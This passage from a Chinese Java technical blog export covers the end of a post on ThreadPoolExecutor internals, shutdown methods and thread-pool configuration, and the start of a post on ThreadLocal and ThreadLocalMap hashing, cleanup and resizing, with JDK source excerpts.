minimizing risk to the users. The term is used in finance, computing and equipment management.——wikipedia\n”\n池化，顾名思义，是为了最大化收益并最小化风险，而将资源统一在一起管理的一种思想。\n池化思想不仅仅能应用在计算机领域，在金融、设备、人员管理、工作管理等领域也有相关的应用。\n在计算机领域中的表现为：统一管理IT资源，包括服务器、存储、和网络资源等等。通过共享资源，使用户在低投入中获益。\n除去线程池，还有其他比较典型的几种使用策略包括：\n内存池(Memory Pooling)：预先申请内存，提升申请内存速度，减少内存碎片。 连接池(Connection Pooling)：预先申请数据库连接，提升申请连接的速度，降低系统的开销。 实例池(Object Pooling)：循环使用对象，减少资源在初始化和释放时的昂贵损耗。 Executors 提供了一系列工厂方法用于创建线程池，暂时放下不表，我们看一看核心的类 ThreadPoolExecutor，然后回来再看。\nThreadPoolExecutor是如何运行，如何同时维护线程和执行任务的呢？ 其运行机制如下图所示：\n线程池在内部实际上构建了一个生产者消费者模型，将线程和任务两者解耦，并不直接关联，从而良好的缓冲任务，复用线程。\n线程池的运行主要分成两部分：\n任务管理 线程管理 任务管理部分充当生产者的角色，当任务提交后，线程池会判断该任务后续的流转：\n直接申请线程执行该任务； 缓冲到队列中等待线程执行； 拒绝该任务。线程管理部分是消费者，它们被统一维护在线程池内，根据任务请求进行线程的分配，当线程执行完任务后则会继续获取新的任务去执行，最终当线程获取不到任务的时候，线程就会被回收。 线程池如何维护自身状态？ 线程池运行的状态，并不是用户显式设置的，而是伴随着线程池的运行，由内部来维护。线程池内部使用一个变量维护两个值：运行状态(runState)和线程数量 (workerCount)。在具体实现中，线程池将运行状态(runState)、线程数量 (workerCount)两个关键参数的维护放在了一起，如下代码所示：\n1private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0)); ctl这个AtomicInteger类型，是对线程池的运行状态和线程池中有效线程的数量进行控制的一个字段， 它同时包含两部分的信息：线程池的运行状态 (runState) 和线程池内有效线程的数量 (workerCount)，高3位保存runState，低29位保存workerCount，两个变量之间互不干扰。用一个变量去存储两个值，可避免在做相关决策时，出现不一致的情况，不必为了维护两者的一致，而占用锁资源。通过阅读线程池源代码也可以发现，经常出现要同时判断线程池运行状态和线程数量的情况。线程池也提供了若干方法去供用户获得线程池当前的运行状态、线程个数。这里都使用的是位运算的方式，相比于基本运算，速度也会快很多。\n关于内部封装的获取生命周期状态、获取线程池线程数量的计算方法如以下代码所示:\n1private static int runStateOf(int c) { return c \u0026amp; ~CAPACITY; } //计算当前运行状态 2private static int workerCountOf(int c) { return c \u0026amp; CAPACITY; } //计算当前线程数量 3private static int ctlOf(int rs, int wc) { return rs | wc; } //通过状态和线程数生成ctl ThreadPoolExecutor的运行状态有5种，分别为：\n其生命周期转换如下入所示：\n任务调度流程是怎样的？ 任务调度是线程池的主要入口，当用户提交了一个任务，接下来这个任务将如何执行都是由这个阶段决定的。了解这部分就相当于了解了线程池的核心运行机制。首先，所有任务的调度都是由execute方法完成的，这部分完成的工作是：检查现在线程池的运行状态、运行线程数、运行策略，决定接下来执行的流程，是直接申请线程执行，或是缓冲到队列中执行，亦或是直接拒绝该任务。其执行过程如下：\n首先检测线程池运行状态，如果不是RUNNING，则直接拒绝，线程池要保证在RUNNING的状态下执行任务。 如果workerCount \u0026lt; corePoolSize，则创建并启动一个线程来执行新提交的任务。 如果workerCount \u0026gt;= corePoolSize，且线程池内的阻塞队列未满，则将任务添加到该阻塞队列中。 如果workerCount \u0026gt;= corePoolSize \u0026amp;\u0026amp; workerCount \u0026lt; maximumPoolSize，且线程池内的阻塞队列已满，则创建并启动一个线程来执行新提交的任务。 如果workerCount \u0026gt;= maximumPoolSize，并且线程池内的阻塞队列已满, 则根据拒绝策略来处理该任务, 默认的处理方式是直接抛异常。 其执行流程如下图所示：\n任务是如何缓冲的？ 任务缓冲模块是线程池能够管理任务的核心部分。线程池的本质是对任务和线程的管理，而做到这一点最关键的思想就是将任务和线程两者解耦，不让两者直接关联，才可以做后续的分配工作。线程池中是以生产者消费者模式，通过一个阻塞队列来实现的。阻塞队列缓存任务，工作线程从阻塞队列中获取任务。\n阻塞队列(BlockingQueue)是一个支持两个附加操作的队列。这两个附加的操作是：在队列为空时，获取元素的线程会等待队列变为非空。当队列满时，存储元素的线程会等待队列可用。阻塞队列常用于生产者和消费者的场景，生产者是往队列里添加元素的线程，消费者是从队列里拿元素的线程。阻塞队列就是生产者存放元素的容器，而消费者也只从容器里拿元素。\n下图中展示了线程1往阻塞队列中添加元素，而线程2从阻塞队列中移除元素\n使用不同的队列可以实现不一样的任务存取策略：\n线程需要从任务缓存模块中不断地取任务执行，帮助线程从阻塞队列中获取任务，实现线程管理模块和任务管理模块之间的通信。这部分策略由getTask方法实现，其执行流程如下图所示：\n任务是如何拒绝的？ 任务拒绝模块是线程池的保护部分，线程池有一个最大的容量，当线程池的任务缓存队列已满，并且线程池中的线程数目达到maximumPoolSize时，就需要拒绝掉该任务，采取任务拒绝策略，保护线程池。\n用户可以通过实现这个接口去定制拒绝策略，\n1public interface RejectedExecutionHandler { 2 void rejectedExecution(Runnable r, ThreadPoolExecutor executor); 3} 也可以选择JDK提供的四种已有拒绝策略，其特点如下：\n线程是怎么管理的？ 说白了就是一个线程集合workerSet和一个阻塞队列workQueue。当用户向线程池提交一个任务(也就是线程)时，线程池会先将任务放入workQueue中。workerSet中的线程会不断的从workQueue中获取线程然后执行。当workQueue中没有任务的时候，worker就会阻塞，直到队列中有任务了就取出来继续执行。\nWorker执行任务的模型如下图所示：\n核心参数 了解了以上这些，再来看 ThreadPoolExecutor 的构造方法和核心参数就很容易理解了：\ncorePoolSize：核心线程数。 maximumPoolSize：最大线程数。 keepAliveTime：线程存活时间。 unit：keepAliveTime的单位 workQueue：Runnable的阻塞队列。若线程池已经被占满，则该队列用于存放无法再放入线程池中的Runnable。 threadFactory：线程工厂 handler：拒绝策略 1 /** 2 * Creates a new {@code ThreadPoolExecutor} with the given initial 3 * parameters. 4 * 5 * @param corePoolSize the number of threads to keep in the pool, even 6 * if they are idle, unless {@code allowCoreThreadTimeOut} is set 7 * @param maximumPoolSize the maximum number of threads to allow in the 8 * pool 9 * @param keepAliveTime when the number of threads is greater than 10 * the core, this is the maximum time that excess idle threads 11 * will wait for new tasks before terminating. 12 * @param unit the time unit for the {@code keepAliveTime} argument 13 * @param workQueue the queue to use for holding tasks before they are 14 * executed. This queue will hold only the {@code Runnable} 15 * tasks submitted by the {@code execute} method. 16 * @param threadFactory the factory to use when the executor 17 * creates a new thread 18 * @param handler the handler to use when execution is blocked 19 * because the thread bounds and queue capacities are reached 20 * @throws IllegalArgumentException if one of the following holds:\u0026lt;br\u0026gt; 21 * {@code corePoolSize \u0026lt; 0}\u0026lt;br\u0026gt; 22 * {@code keepAliveTime \u0026lt; 0}\u0026lt;br\u0026gt; 23 * {@code maximumPoolSize \u0026lt;= 0}\u0026lt;br\u0026gt; 24 * {@code maximumPoolSize \u0026lt; corePoolSize} 25 * @throws NullPointerException if {@code workQueue} 26 * or {@code threadFactory} or {@code handler} is null 27 */ 28 public ThreadPoolExecutor(int corePoolSize, 29 int maximumPoolSize, 30 long keepAliveTime, 31 TimeUnit unit, 32 BlockingQueue\u0026lt;Runnable\u0026gt; workQueue, 33 ThreadFactory threadFactory, 34 RejectedExecutionHandler handler) { 35 if (corePoolSize \u0026lt; 0 || 36 maximumPoolSize \u0026lt;= 0 || 37 maximumPoolSize \u0026lt; corePoolSize || 38 keepAliveTime \u0026lt; 0) 39 throw new IllegalArgumentException(); 40 if (workQueue == null || threadFactory == null || handler == null) 41 throw new NullPointerException(); 42 this.corePoolSize = corePoolSize; 43 this.maximumPoolSize = maximumPoolSize; 44 this.workQueue = workQueue; 45 this.keepAliveTime = unit.toNanos(keepAliveTime); 46 this.threadFactory = threadFactory; 47 this.handler = handler; 48 } 有几点需要注意的：\n一般情况下，corePoolSize和maxiunmPoolSize只是在构建的时候进行初始化，但是可以通过setCorePoolSize(int)和 setMaximumPoolSize(int)来动态更改。 默认情况下，即使核心线程最初只是在新任务需要时才创建和启动的。但是我们可以使用 prestartCoreThread()（创建一个空闲任务线程等待任务的到达) 和 prestartAllCoreThreads() （创建核心线程池数量的空闲任务线程等待任务的到达）方法动态调整。 如果一个池中现在运行的线程数多于corePoolSize，如果多出的线程保持空闲的时间大于keepAliveTime，那么这些线程就会被关闭。这样可以在线程池不活跃的时候降低资源的消耗。默认情况下，keep-alive 策略仅适用于大于 corePoolSize 线程数的线程，即非核心线程，但方法allowCoreThreadTimeOut(boolean) 也可用于将此超时策略应用到核心线程，只要 keepAliveTime 值非零. ThreadPoolExecutor提供了每个任务执行前后提供了钩子方法，重写beforeExecute(Thread，Runnable)和afterExecute(Runnable，Throwable)方法来操纵执行环境；例如，重新初始化ThreadLocals，收集统计信息或记录日志等。terminated()方法也可以被覆盖，在线程池完全终止的时候，你可以通过这个方法做一些特殊的处理。 如何合理配置线程数量 业界的一些线程池参数配置方案，总体来说，都不一定靠谱，还是要根据自己业务的实际情况来决定。\n如何关闭 当一个线程池不再被其他程序引用，并且池中没有线程的时候，就会自动shutdown。\n具体代码在这里：\n1private void processWorkerExit(Worker w, boolean completedAbruptly) { 2 if (completedAbruptly) // If abrupt, then workerCount wasn\u0026#39;t adjusted 3 decrementWorkerCount(); 4 5 final ReentrantLock mainLock = this.mainLock; 6 mainLock.lock(); 7 try { 8 completedTaskCount += w.completedTasks; 9 // 实际这里就是回收线程的主要操作了，移除线程池对该线程的引用，使其可以被JVM正常地回收 10 workers.remove(w); 11 } finally { 12 mainLock.unlock(); 13 } 14 15 tryTerminate(); 16 // 由于引起线程回收的可能性有很多，线程池还要判断是什么引发了这次回收， 17 // 是否要改变线程池的现阶段状态，是否要根据新状态，重新分配线程，于是就有了下面这部分逻辑 18 int c = ctl.get(); 19 if (runStateLessThan(c, STOP)) { 20 if (!completedAbruptly) { 21 int min = allowCoreThreadTimeOut ? 0 : corePoolSize; 22 if (min == 0 \u0026amp;\u0026amp; ! workQueue.isEmpty()) 23 min = 1; 24 if (workerCountOf(c) \u0026gt;= min) 25 return; // replacement not needed 26 } 27 addWorker(null, false); 28 } 29} 也可以手动，如下：\nshutdown\n将线程池状态置为SHUTDOWN,并不会立即停止：\n停止接收外部submit的任务 内部正在跑的任务和队列里等待的任务，会执行完 等到第二步完成后，才真正停止 shutdownNow\n将线程池状态置为STOP。企图立即停止，事实上不一定：\n它试图终止线程的方法是通过调用Thread.interrupt()方法来实现的，但是这种方法的作用有限，如果线程中没有sleep 、wait、Condition、定时锁等应用, interrupt()方法是无法中断当前的线程的。所以，shutdownNow()并不代表线程池就一定立即就能退出，它也可能必须要等待所有正在执行的任务都执行完成了才能退出。 但是大多数时候是能立即退出的\n跟shutdown()一样，先停止接收外部提交的任务 忽略队列里等待的任务 尝试将正在跑的任务interrupt中断 返回未执行的任务列表 awaitTermination(long timeOut, TimeUnit unit)\n当前线程阻塞，直到\n等所有已提交的任务（包括正在跑的和队列中等待的）执行完 或者等超时时间到 或者线程被中断，抛出InterruptedException 然后返回true（shutdown请求后所有任务执行完毕）或false（已超时） 注意：\nshuntdown()和awaitTermination()效果差不多，方法执行之后，都要等到提交的任务全部执行完才停。 shutdown()后，不能再提交新的任务进去；但是awaitTermination()后，可以继续提交 awaitTermination()是阻塞的，返回结果是线程池是否已停止（true/false）；shutdown()不阻塞 如何优雅关闭？ 第一种方法\n首先看下源码注释：\n“\nA pool that is no longer referenced in a program AND has no remaining threads may be reclaimed (garbage collected) without being explicitly shutdown. You can configure a pool to allow all unused threads to eventually die by setting appropriate keep-alive times, using a lower bound of zero core threads and/or setting allowCoreThreadTimeOut(boolean).\n”\n如果程序中不再持有线程池的引用，并且线程池中没有线程时，线程池将会自动关闭。\n线程池自动关闭的两个条件：\n线程池的引用不可达； 线程池中没有线程。 这里对于条件2解释一下，线程池中没有线程是指线程池中的所有线程都已运行完自动消亡。然而如果我们ThreadPool的核心线程没有超时策略，线程池并不会自动关闭。\n所以需要设置：\n1//线程池在执行完任务后，经过超时时间，将所有空闲的线程都释放掉，进程池这样进程就可以退出 2pool.allowCoreThreadTimeOut(true); 第二种方法\n利用Runtime.getRuntime*()*.addShutdownHook 和guava的方法优雅关闭\n1static { 2 Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { 3 @Override 4 public void run() { 5 System.out.println(\u0026#34;====开始关闭线程池\u0026#34;); 6 CommonThreadPool.gracefulShutdown(pool, 10, TimeUnit.SECONDS); 7 System.out.println(\u0026#34;====结束关闭线程池\u0026#34;); 8 } 9 })); 10 } 11public static boolean gracefulShutdown(ExecutorService threadPool, int shutdownTimeout, 12 TimeUnit timeUnit) { 13 return threadPool == null || MoreExecutors 14 .shutdownAndAwaitTermination(threadPool, shutdownTimeout, timeUnit); 15 } 误区\n不要将线程池线程设置为守护线程，虽然守护线程不会阻止 JVM 退出，但这样做有问题，如果有还未执行完的任务就会出现异常了，（任务还没执行完就退出）\nExecutors 创建线程池 利用**Executors**的静态方法可以创建不同类型的线程池，但不推荐使用。\nnewFixedThreadPool(int nThreads) \u0026ndash; 创建固定数目线程的线程池\n任意时间点，最多只能有固定数目的活动线程存在，此时如果有新的线程要建立，只能放在另外的队列(是一个无界队列 LinkedBlockingQueue，容量上限为 Integer.MAX_VALUE)中等待，直到当前的线程中某个线程终止直接被移出池子。多数针对一些很稳定很固定的正规并发线程，多用于服务器。\nnewSingleThreadExecutor 创建一个单线程化的Executor\n当向SingleThreadExecutor提交了多个任务，那么这些任务将排队。\nnewCachedThreadPool\u0026ndash; 创建一个可缓存的线程池，调用execute将重用以前构造的线程（如果线程可用）。如果现有线程没有可用的，则创建一个新线 程并添加到池中。终止将从缓存中移除那些已有 60 秒钟未被使用的线程。\nnewScheduledThreadPool(int corePoolSize) 创建一个支持定时及周期性的任务执行的线程池，多数情况下可用来替代Timer类\n其他问题 为什么线程池不允许使用Executors去创建? 推荐方式是什么? Executors 返回的线程池对象的弊端如下：\nFixedThreadPool 和 SingleThreadPool: 允许的请求队列长度为 Integer.MAX_VALUE，可能会堆积大量的请求，从而导致 OOM。\nCachedThreadPool 和 ScheduledThreadPool: 允许的创建线程数量为 Integer.MAX_VALUE，可能会创建大量的线程，从而导致 OOM。\n线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 的方式，这样的处理方式让写的同学更加明确线程池的运行规则，规避资源耗尽的风险。\n参考 https://nullwy.me/2017/03/java-executor/ https://www.jianshu.com/p/f54b224e24f6 https://segmentfault.com/a/1190000016586578 https://www.cnblogs.com/liuyishi/p/10508596.html https://juejin.cn/post/6922069411981426702 https://pdai.tech/md/java/thread/java-thread-x-juc-executor-ThreadPoolExecutor.html https://tech.meituan.com/2020/04/02/java-pooling-pratice-in-meituan.html ","date":"2022-04-07T11:21:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-04-07-executor-kuang-jia-ji-xian-cheng-chi-zong-jie/cover.jpg","permalink":"/p/2022-04-07-executor-kuang-jia-ji-xian-cheng-chi-zong-jie/","title":"Executor框架及线程池总结"},{"content":"定义 “\nEach thread holds an implicit reference to its copy of a thread-local variable as long as the thread is alive and the ThreadLocal instance is accessible; after a thread goes away, all of its copies of thread-local instances are subject to garbage collection (unless other references to these copies exist).\n”\n只要线程处于活动状态并且 ThreadLocal 实例可访问，那么每个线程都持有对其线程局部变量（thread-local）副本的隐式引用。在线程消失后，它的所有线程局部变量（thread-local）副本都将被垃圾回收（除非存在对这些副本的其他引用）\n每个线程都持有对其线程局部变量（thread-local）副本的隐式引用 ？\n从线程的角度看，每一个线程 Thread 对象，都有一个 threadLocals 属性，以下为Thread 类源码：\n1 /* ThreadLocal values pertaining to this thread. This map is maintained 2 * by the ThreadLocal class. */ 3 ThreadLocal.ThreadLocalMap threadLocals = null; 4 /* 5 * InheritableThreadLocal values pertaining to this thread. This map is 6 * maintained by the InheritableThreadLocal class. 7 */ 8 ThreadLocal.ThreadLocalMap inheritableThreadLocals = null; “\nThis class provides thread-local variables. These variables differ from their normal counterparts in that each thread that accesses one (via its get or set method) has its own, independently initialized copy of the variable. ThreadLocal instances are typically private static fields in classes that wish to associate state with a thread (e.g., a user ID or Transaction ID).\n”\nThreadLocal 实例通常是希望将状态与线程相关联的类中的私有静态字段（例如，用户 ID 或事务 ID）。\n比如下面这段代码，为每个线程生产一个唯一 ID，线程的 id 在第一次调用 ThreadId.get() 时被分配，并且在后续调用中保持不变。\n1 import java.util.concurrent.atomic.AtomicInteger; 2 3 public class ThreadId { 4 // Atomic integer containing the next thread ID to be assigned 5 private static final AtomicInteger nextId = new AtomicInteger(0); 6 7 // Thread local variable containing each thread\u0026#39;s ID 8 private static final ThreadLocal\u0026lt;Integer\u0026gt; threadId = 9 new ThreadLocal\u0026lt;Integer\u0026gt;() { 10 @Override protected Integer initialValue() { 11 return nextId.getAndIncrement(); 12 } 13 }; 14 15 // Returns the current thread\u0026#39;s unique ID, assigning it if necessary 16 public static int get() { 17 return threadId.get(); 18 } 19 } 20 总结 Thread: ThreadLocal 顾名思义，它不是一个线程，而是线程的一个本地化对象。当工作于多线程中的对象使用 ThreadLocal 维护变量时，ThreadLocal 为每个使用该变量的线程分配一个独立的变量副本。 Local：ThreadLocal类允许我们创建只能被同一个线程读写的变量。因此，如果一段代码含有一个ThreadLocal 变量的引用，即使两个线程同时执行这段代码，它们也无法访问到对方的ThreadLocal变量。所以每一个线程都可以独立地改变自己的副本，而不会影响其他线程所对应的副本。从线程的角度看，这个变量就像是线程的本地变量，这也是类名中 “Local” 所要表达的意思。 线程的数据隔离：ThreadLocal 提供了线程的局部变量副本，每个线程都可以通过set()和get()来对这个局部变量进行操作，但不会和其他线程的局部变量进行冲突。其实就是你创建了一个 Threadlocal 变量，每个访问 Threadlocal 变量的线程都有一个本地副本，往ThreadLocal 中填充的变量属于当前线程，该变量对其他线程而言是隔离的。 有状态数据同步：ThreadLocal的作用是提供线程内的局部变量，这种变量在线程的生命周期内起作用，减少同一个线程内多个函数或者组件之间一些公共变量的传递的复杂度。并不是解决多线程问题的，而是解决单个线程内部的变量共享的问题 数据结构 一个 ThreadLocal 只能存储一个 Object 对象，如果需要存储多个 Object 对象那么就需要多个 ThreadLocal，如下图：\nThreadLocalMap ThreadLocalMap有点类似HashMap的结构，只是HashMap是由数组+链表实现的，而ThreadLocalMap中并没有链表结构。\n如何解决 hash 冲突 ？ 首先了解一下 ThreadLocalMap 的 hash 算法 int i = key.threadLocalHashCode \u0026amp; (len-1)\nThreadLocalMap中hash算法很简单，这里i就是当前 key 在散列表中对应的数组下标位置。这里最关键的就是threadLocalHashCode值的计算，ThreadLocal中有一个属性为HASH_INCREMENT = 0x61c88647。这个值很特殊，它是斐波那契数 也叫 黄金分割数。hash增量为 这个数字，带来的好处就是 hash 分布非常均匀。\n由于 ThreadLocalMap 的数据结构 和 HashMap 不一样，所以解决冲突的方法也不同，HashMap 是利用链地址法解决的，而 ThreadLocalMap 是利用开放地址法。\n开放地址法：\n“\n当我们往哈希表中插入数据时，如果某个数据经过哈希函数之后，存储位置已经被占用了，我们就从当前位置开始，依次往后查找，看是否有空闲位置，直到找到为止。\n”\n开放地址法下不同的解决冲突方案：\n线性探测法 平方探测法 双散列 线性探测法\n举例：\n“\n32 ％ 7 = 4 ；13 ％ 7 = 6 ；49 ％ 7 = 0 ； 55 ％ 7 = 6 发生冲突，下一个存储地址（ 6 ＋ 1 ）％ 7 ＝ 0 ，仍然发生冲突， 再下一个存储地址：（ 6 ＋ 2 ）％ 7 ＝ 1 未发生冲突，可以存入。\n”\n线性探测法要求 hash 表空间足够大，另外它还有一个问题：如果计算散列地址时，较多的元素计算出同一个散列地址，那么就会出现 一次聚集（primary clustering） 现象，明明还有空间，却都往一个地方挤。聚集地方的冲突会越来越多，探测时间也越来越长。如下图：\n平方探测法\n为了解决聚集的问题，平方探测法的思路是：探测时不一个挨着一个地向后探测，跳跃着探测。\n跳跃着探测，这样就避免了一次聚集\n但是它也有一个小问题，就是关键字 key 散列到同一位置后探测时的路径是一样的。这样对于许多落在同一位置的关键字而言，越是后面插入的元素，探测的时间就越长。这种现象被称作 二次聚集 (secondary clustering)\n双散列\n二次聚集 (secondary clustering) 出现的原因是由于对于落在同一个位置的关键字我们采取了一个依赖的函数（平方函数）来进行探测，它不会因为关键字的不同或其他因素而改变探测的路径。\n那么可以让探测的方法依赖于关键字，再另外建一个 Hash 函数（hash2），对落在同一个位置的关键字进行再次的 Hash, 探测的时候就用依赖这个 Hash 值去探测，即为双散列。 由于 Hash2 函数不同于 Hash1, 所以两个不同的关键字 Hash1 值和 Hash2 值同时相同的概率就会变得非常低。这样就避免了二次聚集，但同时也付出了计算另一个散列函数 Hash2 的代价。 再散列（Rehashing）\n当散列表元素太多（即装填因子α太大）时，查找效率会下降；最大装填因子一般取 0.5 \u0026lt;= α\u0026lt;= 0.85 当装填因子过大时，解决的方法是加倍扩大散列表，这个过程叫做“再散列（Rehashing）” 注意：散列表扩大时，原有元素需要重新计算放置到新表中\nThreadLocalMap 处理哈希冲突时使用的是线性探测法, 因此删除 key 的时候不能直接简单把 entry 置为 null; 它采用的方法是把后续每个不为 null 的 entry 进行 rehash, 放在合适的位置，保证不会因为删除导致线性探测失效中断。\n具体参考源码：\n1 private void set(ThreadLocal\u0026lt;?\u0026gt; key, Object value) { 2 3 // We don\u0026#39;t use a fast path as with get() because it is at 4 // least as common to use set() to create new entries as 5 // it is to replace existing ones, in which case, a fast 6 // path would fail more often than not. 7 8 Entry[] tab = table; 9 int len = tab.length; 10 int i = key.threadLocalHashCode \u0026amp; (len-1); 11 12 for (Entry e = tab[i]; 13 e != null; 14 e = tab[i = nextIndex(i, len)]) { 15 ThreadLocal\u0026lt;?\u0026gt; k = e.get(); 16 17 ... 18 } 19 20 private static int nextIndex(int i, int len) { 21 return ((i + 1 \u0026lt; len) ? i + 1 : 0); 22 } 如何扩容？ ThreadLocalMap 在进行扩容之前会先进行清理工作，\n有两种清除方式：\nexpungeStaleEntry() 探测式清理 cleanSomeSlots() 启发式清除 探测式清理：是以当前遇到的 GC 元素开始，向后不断的清理。直到遇到 null 为止\n1private int expungeStaleEntry(int staleSlot) { 2 Entry[] tab = table; 3 int len = tab.length; 4 5 // 首先将 tab[staleSlot] 槽位的数据清空 6 // 然后设置 然后设置 size-- 7 tab[staleSlot].value = null; 8 tab[staleSlot] = null; 9 size--; 10 11 // Rehash until we encounter null 12 Entry e; 13 int i; 14 // 以 staleSlot 位置往后迭代 15 for (i = nextIndex(staleSlot, len); 16 (e = tab[i]) != null; 17 i = nextIndex(i, len)) { 18 ThreadLocal\u0026lt;?\u0026gt; k = e.get(); 19 // 如果遇到 key == null 的 过期数据，也是清空该槽位数据，然后 size-- 20 if (k == null) { 21 e.value = null; 22 tab[i] = null; 23 size--; 24 } else { 25 // 如果 key != null 表示 key 没有过期，重新计算当前 key 的下标位置是不是当前槽位下标位置 26 // 如果不是 h != i ，那么说明产生了 hash 冲突 ，此时以新计算出来正确的槽位位置往后迭代 27 // 找到最后一个存放 entry 的位置 28 int h = k.threadLocalHashCode \u0026amp; (len - 1); 29 if (h != i) { 30 tab[i] = null; 31 // Unlike Knuth 6.4 Algorithm R, we must scan until 32 // null because multiple entries could have been stale. 33 ---------- 翻译 ---------- 34 /** 35 * 这段话提及了 Knuth 的 R 算法 我们和 R 算法的不同 36 * 我们必须扫描到 null，因为可能多个条目可能过期 37 * ThreadLocal 使用了弱引用，即有多种状态，（已回收、未回收）所以不能安全按照 R 算法实现 38 */ 39 while (tab[h] != null) 40 h = nextIndex(h, len); 41 tab[h] = e; 42 } 43 } 44 } 45 return i; 46 } 探测式清理结束后，数组中过期的元素应该会被部分清除，而且之前发生 Hash 冲突 的 Entry 元素的位置应该更接近真实 hash 出来的位置。提升了查找的效率，这里探测式清理并不能全部清除数组中的过期元素，而是从传入的下标清理到第一个 Entry==null 为止。部分清除。其余的部分，需要通过 启发式清除\n启发式清除：\n“\nHeuristically scan some cells looking for stale entries. This is invoked when either a new element is added, or another stale one has been expunged. It performs a logarithmic number of scans, as a balance between no scanning (fast but retains garbage) and a number of scans proportional to number of elements, that would find all garbage but would cause some insertions to take O(n) time.\n”\n试探的扫描一些单元格，寻找过期元素，也就是被垃圾回收的元素。当添加新元素或删除另一个过时元素时，将调用此函数。它执行对数扫描次数，作为不扫描（快速但保留垃圾）和与元素数量成比例的扫描次数之间的平衡，这将找到所有垃圾，但会导致一些插入花费 O（n）时间。\n1private boolean cleanSomeSlots(int i, int n) { 2 boolean removed = false; 3 Entry[] tab = table; 4 int len = tab.length; 5 // do while 循环 循环中不断的右移进行寻找被清理的过期元素 6 // 最终都会使用 expungeStaleEntry 进行处理 7 do { 8 i = nextIndex(i, len); 9 Entry e = tab[i]; 10 if (e != null \u0026amp;\u0026amp; e.get() == null) { 11 n = len; 12 removed = true; 13 i = expungeStaleEntry(i); 14 } 15 } while ( (n \u0026gt;\u0026gt;\u0026gt;= 1) != 0); 16 return removed; 17} 注：ThreadLocal 调用 set(), get(), remove() 都会对 key = null 进行清除 value 操作\n在 ThreadLocalMap.set() 方法最后，如果执行完成启发式清理工作后，未清理到任何数据，且当前散列数组中 Entry 的数量已经达到了列表的扩容阀值 就开始执行 rehash() 逻辑。\n1 if (!cleanSomeSlots(i, sz) \u0026amp;\u0026amp; sz \u0026gt;= threshold) 2 rehash(); Entry[] 数组的扩容阈值是 len * 2 / 3，数组长度的三分之二。\n1// ThreadLocalMap 的初始容量是 16 2private static final int INITIAL_CAPACITY = 16; 3 4private void setThreshold(int len) { 5 threshold = len * 2 / 3; 6} 数组扩容之前会进行一次 全面的清理，直接用 fori 全部遍历数组中的每一个元素，如果发现过期的 Entry 就进行探测式清理。\n1private void rehash() { 2 expungeStaleEntries(); 3 if (size \u0026gt;= threshold - threshold / 4) 4 resize(); 5} 6 7private void expungeStaleEntries() { 8 Entry[] tab = table; 9 int len = tab.length; 10 for (int j = 0; j \u0026lt; len; j++) { 11 Entry e = tab[j]; 12 if (e != null \u0026amp;\u0026amp; e.get() == null) 13 expungeStaleEntry(j); 14 } 15} 全面清理结束之后，会进一步判断数组的长度是否满足 size \u0026gt;= threshold - threshold / 4，也就是说，扩容前真正的阈值判断是 len * 2/3 * 3/4，也就是阈值真正的值是 数组长度的 1/2。\n每次扩容会将数组长度扩容至原来的 2 倍，然后遍历老数组，将老数组中的元素重新计算下标，并插入新数组。 插入时如果发生 Hash 冲突，那就向后遍历寻找空位。\n1private void resize() { 2 3 Entry[] oldTab = table; 4 int oldLen = oldTab.length; 5 int newLen = oldLen * 2; 6 Entry[] newTab = new Entry[newLen]; 7 int count = 0; 8 9 for (Entry e : oldTab) { 10 if (e != null) { 11 ThreadLocal\u0026lt;?\u0026gt; k = e.get(); 12 if (k == null) { 13 e.value = null; // Help the GC 14 } else { 15 int h = k.threadLocalHashCode \u0026amp; (newLen - 1); 16 while (newTab[h] != null) 17 h = nextIndex(h, newLen); 18 newTab[h] = e; 19 count++; 20 } 21 } 22 } 23 24 setThreshold(newLen); 25 size = count; 26 table = newTab; 27 } 如何清理过期 key ? ThreadLocalMap 的 set 方法通过调用 replaceStaleEntry 方法（其内部也是调用了启发式``清除 和 探测式清除）回收键为 null 的 Entry 对象的值（即为具体实例）以及 Entry 对象本身从而防止内存泄漏\n1 private void set(ThreadLocal\u0026lt;?\u0026gt; key, Object value) { 2 3 // We don\u0026#39;t use a fast path as with get() because it is at 4 // least as common to use set() to create new entries as 5 // it is to replace existing ones, in which case, a fast 6 // path would fail more often than not. 7 8 Entry[] tab = table; 9 int len = tab.length; 10 int i = key.threadLocalHashCode \u0026amp; (len-1); 11 12 for (Entry e = tab[i]; 13 e != null; 14 e = tab[i = nextIndex(i, len)]) { 15 ThreadLocal\u0026lt;?\u0026gt; k = e.get(); 16 17 if (k == key) { 18 e.value = value; 19 return; 20 } 21 22 if (k == null) { 23 replaceStaleEntry(key, value, i); 24 return; 25 } 26 } 27 ... 应该在我们不使用的时候，主动调用 remove 方法进行清理。\n1try { 2 // 其它业务逻辑 3} finally { 4 threadLocal 对象。remove(); 5} 弱引用 ThreadLocalMap 的 Entry 对 ThreadLocal 的引用为弱引用（数据结构那节图中的虚线），弱引用的对象在 GC 时会被回收，避免了 ThreadLocal 对象无法被回收的问题\n这里复习一下 java 的对象引用\n强引用：new 出来的一般对象，只要引用在就不会被回收 软引用：将要发生内存溢出之前回收 弱引用：生存到下一次垃圾收集发生之前 虚引用：目的是对象被收集器回收时收到一个系统通知 1 /** 2 * ThreadLocalMap is a customized hash map suitable only for 3 * maintaining thread local values. No operations are exported 4 * outside of the ThreadLocal class. The class is package private to 5 * allow declaration of fields in class Thread. To help deal with 6 * very large and long-lived usages, the hash table entries use 7 * WeakReferences for keys. However, since reference queues are not 8 * used, stale entries are guaranteed to be removed only when 9 * the table starts running out of space. 10 */ 11 static class ThreadLocalMap { 12 13 /** 14 * The entries in this hash map extend WeakReference, using 15 * its main ref field as the key (which is always a 16 * ThreadLocal object). Note that null keys (i.e. entry.get() 17 * == null) mean that the key is no longer referenced, so the 18 * entry can be expunged from table. Such entries are referred to 19 * as \u0026#34;stale entries\u0026#34; in the code that follows. 20 */ 21 static class Entry extends WeakReference\u0026lt;ThreadLocal\u0026lt;?\u0026gt;\u0026gt; { 22 /** The value associated with this ThreadLocal. */ 23 Object value; 24 25 Entry(ThreadLocal\u0026lt;?\u0026gt; k, Object v) { 26 super(k); 27 value = v; 28 } 29 } 每个线程在往ThreadLocal里放值的时候，都会往自己的ThreadLocalMap里存，读也是以ThreadLocal作为引用，在自己的map里找对应的key，从而实现了线程隔离。\nThreadLocal 类型变量为何声明为 static ？ ThreadLocal 